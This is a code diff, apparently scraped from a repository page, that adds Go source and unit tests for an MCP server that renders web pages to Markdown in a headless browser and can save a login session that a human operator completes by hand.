||||
tools.RegisterClearSession(mcpServer, sess)
|
||||
tools.RegisterExtract(mcpServer, readr)
|
||||
|
||||
return s, nil
|
||||
}
|
||||
|
||||
// RunHTTP blocks and serves MCP over HTTP until ctx is cancelled. It exposes
|
||||
// the streamable HTTP transport at /mcp, the legacy SSE transport at /sse,
|
||||
// and a liveness probe at /healthz.
|
||||
func (s *Server) RunHTTP(ctx context.Context, addr string) error {
|
||||
getServer := func(*http.Request) *mcp.Server { return s.mcp }
|
||||
|
||||
mux := http.NewServeMux()
|
||||
mux.Handle("/mcp", mcp.NewStreamableHTTPHandler(getServer, nil))
|
||||
mux.Handle("/sse", mcp.NewSSEHandler(getServer, nil))
|
||||
mux.HandleFunc("/healthz", func(w http.ResponseWriter, _ *http.Request) {
|
||||
w.WriteHeader(http.StatusOK)
|
||||
_, _ = w.Write([]byte("ok"))
|
||||
})
|
||||
|
||||
httpSrv := &http.Server{
|
||||
Addr: addr,
|
||||
Handler: mux,
|
||||
ReadHeaderTimeout: 10 * time.Second,
|
||||
}
|
||||
|
||||
errCh := make(chan error, 1)
|
||||
go func() { errCh <- httpSrv.ListenAndServe() }()
|
||||
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
shutdownCtx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
|
||||
defer cancel()
|
||||
return httpSrv.Shutdown(shutdownCtx)
|
||||
case err := <-errCh:
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
// Close releases the browser and the session store. Safe to call multiple times.
|
||||
func (s *Server) Close() error {
|
||||
s.closeOnce.Do(func() {
|
||||
var firstErr error
|
||||
if s.br != nil {
|
||||
if err := s.br.Close(); err != nil {
|
||||
firstErr = err
|
||||
s.log.Printf("browser close: %v", err)
|
||||
}
|
||||
}
|
||||
if s.sess != nil {
|
||||
if err := s.sess.Close(); err != nil && firstErr == nil {
|
||||
firstErr = err
|
||||
s.log.Printf("session store close: %v", err)
|
||||
}
|
||||
}
|
||||
s.closeErr = firstErr
|
||||
})
|
||||
return s.closeErr
|
||||
}
|
||||
@@ -0,0 +1,101 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/reader"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// ExtractInput is the schema for the extract tool. It is essentially
|
||||
// read_url with a default selector set to <main> when omitted, so common CMS
|
||||
// layouts work without ceremony.
|
||||
type ExtractInput struct {
|
||||
URL string `json:"url" jsonschema:"Absolute http(s) URL to read"`
|
||||
Selector string `json:"selector,omitempty" jsonschema:"CSS selector to extract. Defaults to 'main, article, [role=main]' which works for most content sites."`
|
||||
WaitFor string `json:"wait_for,omitempty" jsonschema:"Optional CSS selector to wait for before extracting (useful for SPAs)"`
|
||||
TimeoutSeconds int `json:"timeout_seconds,omitempty" jsonschema:"Overall timeout in seconds (1-300, default 30)"`
|
||||
MaxChars int `json:"max_chars,omitempty" jsonschema:"Truncate returned markdown to roughly this many characters (100-500000)"`
|
||||
}
|
||||
|
||||
// ExtractOutput is the structured result.
|
||||
type ExtractOutput struct {
|
||||
URL string `json:"url"`
|
||||
FinalURL string `json:"final_url"`
|
||||
Title string `json:"title"`
|
||||
Markdown string `json:"markdown"`
|
||||
Selector string `json:"selector"`
|
||||
UsedSession bool `json:"used_session"`
|
||||
Truncated bool `json:"truncated"`
|
||||
Bytes int `json:"bytes"`
|
||||
}
|
||||
|
||||
// RegisterExtract wires the extract tool to the server.
|
||||
func RegisterExtract(s *mcp.Server, r *reader.Reader) {
|
||||
mcp.AddTool(s, &mcp.Tool{
|
||||
Name: "extract",
|
||||
Description: "Fetch a URL and return only the content under one (or more, comma-separated) CSS selectors, converted to Markdown. This is the right tool when you want the page's main body without nav, headers, footers, and sidebars. Works on SPA and SSR sites.",
|
||||
}, func(ctx context.Context, _ *mcp.CallToolRequest, in ExtractInput) (*mcp.CallToolResult, ExtractOutput, error) {
|
||||
if in.URL == "" {
|
||||
return nil, ExtractOutput{}, fmt.Errorf("url is required")
|
||||
}
|
||||
selector := in.Selector
|
||||
if selector == "" {
|
||||
selector = "main, article, [role=main]"
|
||||
}
|
||||
timeout := time.Duration(in.TimeoutSeconds) * time.Second
|
||||
|
||||
res, err := r.Read(ctx, reader.ReadOptions{
|
||||
URL: in.URL,
|
||||
Selector: firstSelector(selector),
|
||||
WaitSelector: in.WaitFor,
|
||||
Timeout: timeout,
|
||||
MaxChars: in.MaxChars,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, ExtractOutput{}, err
|
||||
}
|
||||
out := ExtractOutput{
|
||||
URL: res.URL,
|
||||
FinalURL: res.FinalURL,
|
||||
Title: res.Title,
|
||||
Markdown: res.Markdown,
|
||||
Selector: selector,
|
||||
UsedSession: res.UsedSession,
|
||||
Truncated: res.Truncated,
|
||||
Bytes: res.Bytes,
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString("# ")
|
||||
b.WriteString(out.Title)
|
||||
if out.Title == "" {
|
||||
b.WriteString(out.URL)
|
||||
}
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(out.Markdown)
|
||||
if out.Truncated {
|
||||
b.WriteString("\n\n[truncated]")
|
||||
}
|
||||
return &mcp.CallToolResult{
|
||||
Content: []mcp.Content{&mcp.TextContent{Text: b.String()}},
|
||||
}, out, nil
|
||||
})
|
||||
}
|
||||
|
||||
// firstSelector picks the first non-empty selector from a comma-separated
|
||||
// list. The reader is intentionally simple and only supports a single
|
||||
// selector today; we surface the first to keep the schema natural for
|
||||
// humans ("main, article, [role=main]") without pretending to support
|
||||
// union selectors internally. Empty entries are skipped so leading or
|
||||
// consecutive commas (" , main") do not produce a blank selector.
|
||||
func firstSelector(selectorList string) string {
|
||||
for _, p := range strings.Split(selectorList, ",") {
|
||||
if s := strings.TrimSpace(p); s != "" {
|
||||
return s
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
@@ -0,0 +1,273 @@
|
||||
// White-box tests for unexported helpers in the tools package. We use
|
||||
// `package tools` (not `tools_test`) so we can reach readText, firstSelector,
|
||||
// and hostOf directly. These helpers are the bits of logic that don't
|
||||
// require a browser or MCP plumbing, so they're cheap to cover.
|
||||
package tools
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/stretchr/testify/assert"
|
||||
)
|
||||
|
||||
// =============================================================================
|
||||
// readText
|
||||
// =============================================================================
|
||||
|
||||
func TestReadText(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in ReadOutput
|
||||
mustHave []string
|
||||
mustNot []string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "title and body",
|
||||
in: ReadOutput{
|
||||
URL: "https://example.test/",
|
||||
Title: "Example Domain",
|
||||
Markdown: "Hello **world**.",
|
||||
},
|
||||
mustHave: []string{
|
||||
"# Example Domain",
|
||||
"Hello **world**.",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "falls back to URL when title empty",
|
||||
in: ReadOutput{
|
||||
URL: "https://example.test/",
|
||||
Markdown: "body",
|
||||
},
|
||||
mustHave: []string{
|
||||
"# https://example.test/",
|
||||
"body",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "truncated flag is surfaced",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/",
|
||||
Title: "T",
|
||||
Markdown: "cut",
|
||||
Truncated: true,
|
||||
},
|
||||
mustHave: []string{
|
||||
"# T",
|
||||
"cut",
|
||||
"[truncated]",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "redirect is shown only when final URL differs",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/old",
|
||||
FinalURL: "https://x.test/new",
|
||||
Title: "T",
|
||||
Markdown: "body",
|
||||
},
|
||||
mustHave: []string{
|
||||
"_Resolved to: https://x.test/new_",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "no redirect note when URLs match",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/",
|
||||
FinalURL: "https://x.test/",
|
||||
Title: "T",
|
||||
Markdown: "body",
|
||||
},
|
||||
mustNot: []string{
|
||||
"Resolved to",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "session-used flag is surfaced",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/",
|
||||
Title: "T",
|
||||
Markdown: "body",
|
||||
UsedSession: true,
|
||||
},
|
||||
mustHave: []string{
|
||||
"_Used saved session._",
|
||||
},
|
||||
},
|
||||
|
||||
// ===== EDGE CASES =====
|
||||
{
|
||||
name: "empty body still renders header",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/",
|
||||
Title: "T",
|
||||
},
|
||||
mustHave: []string{
|
||||
"# T",
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "redirect + session flags combined",
|
||||
in: ReadOutput{
|
||||
URL: "https://x.test/old",
|
||||
FinalURL: "https://x.test/new",
|
||||
Title: "T",
|
||||
Markdown: "body",
|
||||
UsedSession: true,
|
||||
Truncated: true,
|
||||
},
|
||||
mustHave: []string{
|
||||
"_Resolved to: https://x.test/new_",
|
||||
"_Used saved session._",
|
||||
"[truncated]",
|
||||
},
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
got := readText(tt.in)
|
||||
for _, s := range tt.mustHave {
|
||||
assert.Contains(t, got, s, "missing %q in:\n%s", s, got)
|
||||
}
|
||||
for _, s := range tt.mustNot {
|
||||
assert.NotContains(t, got, s, "unexpected %q in:\n%s", s, got)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// firstSelector
|
||||
// =============================================================================
|
||||
|
||||
func TestFirstSelector(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "single selector",
|
||||
in: "main",
|
||||
want: "main",
|
||||
},
|
||||
{
|
||||
name: "comma list returns first",
|
||||
in: "main, article, [role=main]",
|
||||
want: "main",
|
||||
},
|
||||
{
|
||||
name: "whitespace around first entry is trimmed",
|
||||
in: " #content , aside",
|
||||
want: "#content",
|
||||
},
|
||||
|
||||
// ===== EDGE CASES =====
|
||||
{
|
||||
name: "trailing comma",
|
||||
in: "main,",
|
||||
want: "main",
|
||||
},
|
||||
{
|
||||
name: "leading comma",
|
||||
in: ",main",
|
||||
want: "main",
|
||||
},
|
||||
{
|
||||
name: "multiple consecutive commas",
|
||||
in: ",,main,,article",
|
||||
want: "main",
|
||||
},
|
||||
{
|
||||
name: "empty string",
|
||||
in: "",
|
||||
want: "",
|
||||
},
|
||||
{
|
||||
name: "only commas",
|
||||
in: ",,,",
|
||||
want: "",
|
||||
},
|
||||
{
|
||||
name: "selector with internal spaces is preserved",
|
||||
in: "div[data-role=main content], aside",
|
||||
want: "div[data-role=main content]",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
got := firstSelector(tt.in)
|
||||
assert.Equal(t, tt.want, got)
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
// =============================================================================
|
||||
// hostOf
|
||||
// =============================================================================
|
||||
|
||||
func TestHostOf(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
in string
|
||||
want string
|
||||
}{
|
||||
// ===== GOOD CASES =====
|
||||
{
|
||||
name: "https with path",
|
||||
in: "https://example.com/some/path",
|
||||
want: "example.com",
|
||||
},
|
||||
{
|
||||
name: "subdomain",
|
||||
in: "https://app.example.co.uk",
|
||||
want: "app.example.co.uk",
|
||||
},
|
||||
{
|
||||
name: "with port",
|
||||
in: "http://localhost:8080/x",
|
||||
want: "localhost:8080",
|
||||
},
|
||||
{
|
||||
name: "uppercase host is preserved (url.Parse does not lowercase)",
|
||||
in: "https://Example.COM/x",
|
||||
want: "Example.COM",
|
||||
},
|
||||
|
||||
// ===== BAD / EDGE CASES =====
|
||||
{
|
||||
name: "empty string returns unknown",
|
||||
in: "",
|
||||
want: "unknown",
|
||||
},
|
||||
{
|
||||
name: "garbage returns unknown (does not panic)",
|
||||
in: "::::",
|
||||
want: "unknown",
|
||||
},
|
||||
{
|
||||
name: "scheme-only returns unknown",
|
||||
in: "https://",
|
||||
want: "unknown",
|
||||
},
|
||||
{
|
||||
name: "path-only returns unknown",
|
||||
in: "/just/a/path",
|
||||
want: "unknown",
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Parallel()
|
||||
got := hostOf(tt.in)
|
||||
assert.Equal(t, tt.want, got)
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,225 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/chromedp/cdproto/cdp"
|
||||
"github.com/chromedp/chromedp"
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// LoginInput is the schema for the login tool. The flow is:
|
||||
//
|
||||
// 1. A visible Chromium window opens and navigates to URL.
|
||||
// 2. The human operator (you) authenticates by hand in that window.
|
||||
// 3. The tool watches for SuccessURL (substring match against the
|
||||
// address bar) or SuccessSelector (a CSS selector that becomes
|
||||
// visible, e.g. an avatar dropdown) and, when matched, persists the
|
||||
// browser's storage state to the canonical session path for the
|
||||
// host.
|
||||
// 4. Future read_url calls against this host will reuse the saved
|
||||
// state.
|
||||
//
|
||||
// On a headless host (e.g. a remote MCP server) the visible-window
|
||||
// approach will not work; the operator must run the MCP server on a
|
||||
// machine with a display. We surface a clear error in that case so the
|
||||
// caller knows the limitation is environmental, not a bug.
|
||||
type LoginInput struct {
|
||||
URL string `json:"url" jsonschema:"Absolute http(s) URL to open (typically the login page)"`
|
||||
SuccessURL string `json:"success_url,omitempty" jsonschema:"Substring of the URL bar that indicates login succeeded (e.g. /dashboard). Polled every second."`
|
||||
SuccessSelector string `json:"success_selector,omitempty" jsonschema:"CSS selector that becomes visible once login is complete (e.g. an avatar menu). Polled every second."`
|
||||
TimeoutSeconds int `json:"timeout_seconds,omitempty" jsonschema:"How long to wait for a successful login in seconds (5-3600, default 300)"`
|
||||
}
|
||||
|
||||
// LoginOutput reports what happened.
|
||||
type LoginOutput struct {
|
||||
Domain string `json:"domain"`
|
||||
Saved bool `json:"saved"`
|
||||
Path string `json:"path,omitempty"`
|
||||
FinalURL string `json:"final_url"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
// RegisterLogin wires the login tool to the server.
|
||||
func RegisterLogin(s *mcp.Server, pw *browser.Browser, sess *browser.SessionStore, logger *log.Logger) {
|
||||
mcp.AddTool(s, &mcp.Tool{
|
||||
Name: "login",
|
||||
Description: "Open a visible browser to a URL, wait for the human operator to authenticate, then persist the resulting browser storage state (cookies + localStorage) for the host. Subsequent read_url calls against this host will use the saved state automatically. Useful for sites that require login to expose their content.",
|
||||
}, func(parentCtx context.Context, _ *mcp.CallToolRequest, in LoginInput) (*mcp.CallToolResult, LoginOutput, error) {
|
||||
if in.URL == "" {
|
||||
return nil, LoginOutput{}, fmt.Errorf("url is required")
|
||||
}
|
||||
if in.SuccessURL == "" && in.SuccessSelector == "" {
|
||||
return nil, LoginOutput{}, fmt.Errorf("success_url or success_selector is required so the tool knows when login is complete")
|
||||
}
|
||||
timeout := time.Duration(in.TimeoutSeconds) * time.Second
|
||||
if timeout == 0 {
|
||||
timeout = 5 * time.Minute
|
||||
}
|
||||
|
||||
ctx, cancel := context.WithTimeout(parentCtx, timeout)
|
||||
defer cancel()
|
||||
|
||||
browserCtx, releaseBrowser, err := pw.NewHeadedContext()
|
||||
if err != nil {
|
||||
return nil, LoginOutput{}, fmt.Errorf("launch headed browser: %w", err)
|
||||
}
|
||||
defer releaseBrowser()
|
||||
|
||||
// Start from a clean cookie jar so a stale session from a
|
||||
// previous attempt cannot mask the new login's success.
|
||||
if err := browser.ClearAllCookies(browserCtx); err != nil {
|
||||
return nil, LoginOutput{}, fmt.Errorf("clear cookies: %w", err)
|
||||
}
|
||||
|
||||
var title string
|
||||
if err := chromedp.Run(browserCtx,
|
||||
chromedp.Navigate(in.URL),
|
||||
chromedp.WaitReady("body"),
|
||||
chromedp.Title(&title),
|
||||
); err != nil {
|
||||
return nil, LoginOutput{}, fmt.Errorf("navigate: %w", err)
|
||||
}
|
||||
|
||||
logger.Printf("login flow started for %s, waiting for success condition", in.URL)
|
||||
|
||||
if err := waitForLogin(ctx, browserCtx, in, timeout); err != nil {
|
||||
return nil, LoginOutput{
|
||||
Domain: hostOf(in.URL),
|
||||
FinalURL: currentLocation(browserCtx),
|
||||
Message: err.Error(),
|
||||
}, fmt.Errorf("login did not complete: %w", err)
|
||||
}
|
||||
|
||||
finalURL := currentLocation(browserCtx)
|
||||
|
||||
statePath, err := sess.StatePath(in.URL)
|
||||
if err != nil {
|
||||
return nil, LoginOutput{}, err
|
||||
}
|
||||
if err := browser.CaptureStorageState(browserCtx, statePath); err != nil {
|
||||
return nil, LoginOutput{
|
||||
Domain: hostOf(in.URL),
|
||||
FinalURL: finalURL,
|
||||
Message: "success condition matched but capturing storage state failed",
|
||||
}, err
|
||||
}
|
||||
|
||||
// Validate the captured state has at least one cookie or origin
|
||||
// entry, otherwise we would happily save an "authenticated" file
|
||||
// even when the success condition matched an unrelated selector.
|
||||
if err := validateCapturedState(statePath); err != nil {
|
||||
return nil, LoginOutput{
|
||||
Domain: hostOf(in.URL),
|
||||
FinalURL: finalURL,
|
||||
Message: "success condition matched but storage state is empty; auth likely failed",
|
||||
}, err
|
||||
}
|
||||
|
||||
msg := fmt.Sprintf("session saved for %s", hostOf(in.URL))
|
||||
return &mcp.CallToolResult{
|
||||
Content: []mcp.Content{&mcp.TextContent{Text: msg}},
|
||||
}, LoginOutput{
|
||||
Domain: hostOf(in.URL),
|
||||
Saved: true,
|
||||
Path: statePath,
|
||||
FinalURL: finalURL,
|
||||
Message: msg,
|
||||
}, nil
|
||||
})
|
||||
}
|
||||
|
||||
// waitForLogin polls the page once per second until the success
|
||||
// condition is met or the timeout fires. It uses chromedp.Location and
|
||||
// chromedp.Nodes (with a visibility check) for the two supported
|
||||
// condition types.
|
||||
func waitForLogin(ctx context.Context, pageCtx context.Context, in LoginInput, timeout time.Duration) error {
|
||||
deadline := time.Now().Add(timeout)
|
||||
ticker := time.NewTicker(time.Second)
|
||||
defer ticker.Stop()
|
||||
|
||||
check := func() (bool, error) {
|
||||
if in.SuccessURL != "" {
|
||||
var current string
|
||||
if err := chromedp.Run(pageCtx, chromedp.Location(¤t)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if strings.Contains(current, in.SuccessURL) {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
if in.SuccessSelector != "" {
|
||||
var nodes []*cdp.Node
|
||||
if err := chromedp.Run(pageCtx, chromedp.Nodes(in.SuccessSelector, &nodes, chromedp.ByQuery)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if len(nodes) > 0 {
|
||||
var visible bool
|
||||
if err := chromedp.Run(pageCtx, chromedp.Evaluate(
|
||||
`(()=>{const e=document.querySelector(`+jsQuote(in.SuccessSelector)+`);return !!e && e.getBoundingClientRect().height>0;})()`,
|
||||
&visible,
|
||||
)); err != nil {
|
||||
return false, err
|
||||
}
|
||||
if visible {
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return false, nil
|
||||
}
|
||||
|
||||
// Immediate check so an already-authenticated session is captured
|
||||
// without a 1-second wait.
|
||||
if ok, err := check(); err != nil {
|
||||
return err
|
||||
} else if ok {
|
||||
return nil
|
||||
}
|
||||
|
||||
for {
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return ctx.Err()
|
||||
case <-ticker.C:
|
||||
if time.Now().After(deadline) {
|
||||
return fmt.Errorf("timed out after %s waiting for login", timeout)
|
||||
}
|
||||
ok, err := check()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if ok {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// currentLocation returns the page's current URL or "" if the query
|
||||
// fails (e.g. the browser has already been torn down).
|
||||
func currentLocation(ctx context.Context) string {
|
||||
var s string
|
||||
if err := chromedp.Run(ctx, chromedp.Location(&s)); err != nil {
|
||||
return ""
|
||||
}
|
||||
return s
|
||||
}
|
||||
|
||||
// validateCapturedState reads the just-saved storage state file and
|
||||
// ensures it has at least one cookie or one localStorage entry. This
|
||||
// guards against "login success" false positives (e.g. selector matches
|
||||
// a generic header element that happens to be visible).
|
||||
func validateCapturedState(path string) error {
|
||||
raw, err := os.ReadFile(path)
|
||||
if err != nil {
|
||||
return fmt.Errorf("read state: %w", err)
|
||||
}
|
||||
return browser.ValidateStorageState(raw)
|
||||
}
|
||||
@@ -0,0 +1,96 @@
|
||||
// Package tools registers each MCP tool with the server. One file per tool
|
||||
// keeps the schemas, handlers, and tool registration together so changes are
|
||||
// easy to audit.
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/reader"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// ReadInput is the JSON schema for the read_url tool.
|
||||
type ReadInput struct {
|
||||
URL string `json:"url" jsonschema:"Absolute http(s) URL to read"`
|
||||
Selector string `json:"selector,omitempty" jsonschema:"Optional CSS selector to extract only a region of the page"`
|
||||
WaitFor string `json:"wait_for,omitempty" jsonschema:"Optional CSS selector to wait for before extracting (useful for SPAs that hydrate after networkidle)"`
|
||||
TimeoutSeconds int `json:"timeout_seconds,omitempty" jsonschema:"Overall timeout in seconds (1-300, default 30)"`
|
||||
MaxChars int `json:"max_chars,omitempty" jsonschema:"Truncate returned markdown to roughly this many characters (100-500000)"`
|
||||
}
|
||||
|
||||
// ReadOutput is returned to the MCP client. The Markdown field is the primary
|
||||
// payload; other fields give the model enough context to decide what to do
|
||||
// next.
|
||||
type ReadOutput struct {
|
||||
URL string `json:"url"`
|
||||
FinalURL string `json:"final_url"`
|
||||
Title string `json:"title"`
|
||||
Markdown string `json:"markdown"`
|
||||
UsedSession bool `json:"used_session"`
|
||||
Truncated bool `json:"truncated"`
|
||||
Bytes int `json:"bytes"`
|
||||
}
|
||||
|
||||
// ReadResult is the text-side companion of ReadOutput, surfaced via the
|
||||
// CallToolResult's Content for clients that ignore structured content.
|
||||
func readText(o ReadOutput) string {
|
||||
var b strings.Builder
|
||||
b.WriteString("# ")
|
||||
b.WriteString(o.Title)
|
||||
if o.Title == "" {
|
||||
b.WriteString(o.URL)
|
||||
}
|
||||
b.WriteString("\n\n")
|
||||
b.WriteString(o.Markdown)
|
||||
if o.Truncated {
|
||||
b.WriteString("\n\n[truncated]")
|
||||
}
|
||||
if o.FinalURL != "" && o.FinalURL != o.URL {
|
||||
b.WriteString("\n\n_Resolved to: ")
|
||||
b.WriteString(o.FinalURL)
|
||||
b.WriteString("_")
|
||||
}
|
||||
if o.UsedSession {
|
||||
b.WriteString("\n\n_Used saved session._")
|
||||
}
|
||||
return b.String()
|
||||
}
|
||||
|
||||
// RegisterRead wires the read_url tool to the server.
|
||||
func RegisterRead(s *mcp.Server, r *reader.Reader) {
|
||||
mcp.AddTool(s, &mcp.Tool{
|
||||
Name: "read_url",
|
||||
Description: "Fetch a URL through a headless browser (full SPA support), render the page, and return its content as Markdown. If a session has previously been saved for the URL's host via the login tool, it is used automatically so authenticated pages render as the logged-in user.",
|
||||
}, func(ctx context.Context, _ *mcp.CallToolRequest, in ReadInput) (*mcp.CallToolResult, ReadOutput, error) {
|
||||
if in.URL == "" {
|
||||
return nil, ReadOutput{}, fmt.Errorf("url is required")
|
||||
}
|
||||
timeout := time.Duration(in.TimeoutSeconds) * time.Second
|
||||
res, err := r.Read(ctx, reader.ReadOptions{
|
||||
URL: in.URL,
|
||||
Selector: in.Selector,
|
||||
WaitSelector: in.WaitFor,
|
||||
Timeout: timeout,
|
||||
MaxChars: in.MaxChars,
|
||||
})
|
||||
if err != nil {
|
||||
return nil, ReadOutput{}, err
|
||||
}
|
||||
out := ReadOutput{
|
||||
URL: res.URL,
|
||||
FinalURL: res.FinalURL,
|
||||
Title: res.Title,
|
||||
Markdown: res.Markdown,
|
||||
UsedSession: res.UsedSession,
|
||||
Truncated: res.Truncated,
|
||||
Bytes: res.Bytes,
|
||||
}
|
||||
return &mcp.CallToolResult{
|
||||
Content: []mcp.Content{&mcp.TextContent{Text: readText(out)}},
|
||||
}, out, nil
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,84 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/lukaszraczylo/mcp-readitall/internal/browser"
|
||||
"github.com/modelcontextprotocol/go-sdk/mcp"
|
||||
)
|
||||
|
||||
// ListSessionsInput is empty: the tool has no parameters.
|
||||
type ListSessionsInput struct{}
|
||||
|
||||
// ListSessionsOutput lists every saved session.
|
||||
type ListSessionsOutput struct {
|
||||
Sessions []browser.SessionInfo `json:"sessions"`
|
||||
Count int `json:"count"`
|
||||
}
|
||||
|
||||
// RegisterListSessions wires the list_sessions tool to the server.
|
||||
func RegisterListSessions(s *mcp.Server, store *browser.SessionStore) {
|
||||
mcp.AddTool(s, &mcp.Tool{
|
||||
Name: "list_sessions",
|
||||
Description: "List every host for which an authenticated browser session is currently saved. Each entry can be passed to clear_session to invalidate it.",
|
||||
}, func(ctx context.Context, _ *mcp.CallToolRequest, _ ListSessionsInput) (*mcp.CallToolResult, ListSessionsOutput, error) {
|
||||
sessions, err := store.List()
|
||||
if err != nil {
|
||||
return nil, ListSessionsOutput{}, fmt.Errorf("list sessions: %w", err)
|
||||
}
|
||||
var b strings.Builder
|
||||
b.WriteString(fmt.Sprintf("%d saved session(s):\n", len(sessions)))
|
||||
for _, s := range sessions {
|
||||
b.WriteString(" - ")
|
||||
b.WriteString(s.PrettyPrint())
|
||||
b.WriteString("\n")
|
||||
}
|
||||
if len(sessions) == 0 {
|
||||
b.WriteString(" (none)\n")
|
||||
}
|
||||
return &mcp.CallToolResult{
|
||||
Content: []mcp.Content{&mcp.TextContent{Text: strings.TrimRight(b.String(), "\n")}},
|
||||
}, ListSessionsOutput{Sessions: sessions, Count: len(sessions)}, nil
|
||||
})
|
||||
}
|
||||
|
||||
// ClearSessionInput is the schema for clear_session.
|
||||
type ClearSessionInput struct {
|
||||
URL string `json:"url" jsonschema:"URL whose host's saved session should be deleted"`
|
||||
}
|
||||
|
||||
// ClearSessionOutput reports what was deleted.
|
||||
type ClearSessionOutput struct {
|
||||
URL string `json:"url"`
|
||||
Domain string `json:"domain"`
|
||||
Cleared bool `json:"cleared"`
|
||||
Message string `json:"message"`
|
||||
}
|
||||
|
||||
// RegisterClearSession wires the clear_session tool to the server.
|
||||
func RegisterClearSession(s *mcp.Server, store *browser.SessionStore) {
|
||||
mcp.AddTool(s, &mcp.Tool{
|
||||
Name: "clear_session",
|
||||
Description: "Delete the saved authenticated session for the URL's host. Use this when a session has expired or is causing issues.",
|
||||
}, func(ctx context.Context, _ *mcp.CallToolRequest, in ClearSessionInput) (*mcp.CallToolResult, ClearSessionOutput, error) {
|
||||
if in.URL == "" {
|
||||
return nil, ClearSessionOutput{}, fmt.Errorf("url is required")
|
||||
}
|
||||
existed, err := store.Clear(in.URL)
|
||||
if err != nil {
|
||||
return nil, ClearSessionOutput{}, err
|
||||
}
|
||||
key, _ := browser.HostKey(in.URL)
|
||||
msg := fmt.Sprintf("cleared session for %s (existed=%v)", key, existed)
|
||||
return &mcp.CallToolResult{
|
||||
Content: []mcp.Content{&mcp.TextContent{Text: msg}},
|
||||
}, ClearSessionOutput{
|
||||
URL: in.URL,
|
||||
Domain: key,
|
||||
Cleared: existed,
|
||||
Message: msg,
|
||||
}, nil
|
||||
})
|
||||
}
|
||||
@@ -0,0 +1,27 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"net/url"
|
||||
)
|
||||
|
||||
// jsQuote produces a JS-safe string literal from a CSS selector. We
|
||||
// assume selectors do not contain backslashes or newlines (which would
|
||||
// be invalid CSS) and just JSON-encode the value, which is a valid JS
|
||||
// double-quoted string.
|
||||
func jsQuote(s string) string {
|
||||
b, _ := json.Marshal(s)
|
||||
return string(b)
|
||||
}
|
||||
|
||||
// hostOf extracts the scheme-less host (with port) from a URL string.
|
||||
// It returns "unknown" for inputs that do not parse to a URL with a
|
||||
// host, rather than panicking. Case is preserved — url.Parse does not
|
||||
// normalise the host — so "Example.COM" stays "Example.COM".
|
||||
func hostOf(rawURL string) string {
|
||||
u, err := url.Parse(rawURL)
|
||||
if err != nil || u.Host == "" {
|
||||
return "unknown"
|
||||
}
|
||||
return u.Host
|
||||
}
|
||||
Reference in New Issue
Block a user